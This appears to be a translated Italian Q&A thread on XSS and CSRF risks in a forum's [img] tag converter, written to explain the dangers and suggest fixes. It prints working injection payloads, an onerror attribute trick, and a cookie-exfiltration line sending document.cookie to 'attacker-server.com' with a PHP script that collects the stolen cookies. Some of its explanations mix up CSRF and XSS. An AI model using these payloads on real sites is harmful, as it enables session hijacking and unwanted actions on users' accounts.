Non sta verificando la vulnerabilità di src url?

Supponendo che la tua funzione di conversione non disinfetti:

[img]" /><script>var x=document.forms[0];x.message.value='XSS injection here';x.submit()</script><img src="[/img]

diventa:

<img src="" />
<script>var x=document.forms[0];x.message.value='XSS injection here';x.submit()</script>
<img src="" />

Questo è un semplice esempio di CSRF (falsificazione di richieste cross-site). Non appena un altro utente carica il tag [img], eseguirà il Javascript che è stato iniettato come utente autenticato, inviando il modulo in modo non intenzionale al caricamento della pagina.

Ci sono possibilità ancora peggiori, tra cui XSS (scripting cross-site). Ad esempio, l'utente malintenzionato potrebbe avere un server remoto con uno script simile a questo:

foo.php :

<?php
    require_once('db-config.php');
    mysql_query("INSERT INTO 'cookies' VALUES
        (DEFAULT, '" . mysql_real_escape_string($_GET['input']) . "'"));
?>

L'utente malintenzionato può inviare una richiesta AJAX tramite il Javascript iniettato e inviare a se stesso il tuo cookie di sessione con un URL come questo:

'http://attacker-server.com/foo.php?input=' + document.cookie;

Ciò consentirà all'utente malintenzionato di dirottare l'ID della sessione, impersonandoti nell'applicazione.

Un ostacolo per la risoluzione provvisoria di un problema come questo (una soluzione imperfetta) è di impostare la proprietà Http Only sui cookie per impedire che si verifichino determinati attacchi CSRF.

Modifica :

Hai menzionato:

What I have in mind, but I am not totally sure, is something like, [img]http://mysite.com/user?deleteAccount=1[/img]. Is this possible? Are there other ways to exploit this functionality?

Questo è sicuramente possibile. Leggi le mie spiegazioni sopra per quanto riguarda CSRF . Infatti, molte applicazioni web lo utilizzano per tenere traccia dei click-through e-mail , come i link del valore src dell'immagine nascosta a uno script che viene eseguito quando un utente apre la sua e-mail.

Lascia che user_url sia http://some_image/" onerror="alert(1)

Così creando la stringa: <img href="http://some_image/" onerror="alert(1)" />

Hai detto "assicurandoti di disinfettare l'user_url"

E sto chiedendo COME . Sì, ovviamente questa potrebbe essere una vulnerabilità e questo dipende interamente da COME stai disinfettando questa stringa.

L'attacco basato su input non pubblicizzati è che l'URL sarà di uno schema pericoloso, ad esempio javascript:alert() . Prima di creare un'immagine che punta ad esso, dovresti controllare lo schema di URL conosciuti (ad esempio http:// ).

Probabilmente esiste anche l'attacco di iniezione HTML descritto da @Hope, ma questo è un problema di mancanza della codifica HTML, non specificamente della convalida dell'input. Il tuo mini linguaggio di marcatura deve essere sicuro di codificare in HTML tutti i valori che usa per creare HTML. (Nei casi in cui il tuo input ha tag non corrispondenti / nidificati, questo è notoriamente difficile da ottenere.)

And by itself? the website does not have any other vulnerability.

Se qualcuno inserisce codice javascript nella tua pagina, chiunque lo visita eseguirà quel codice javascript dal tuo dominio. In tal modo potrebbero forzare qualsiasi azione (XSS) che l'utente potrebbe fare da quella pagina (eliminare account, trasferire denaro, ecc.).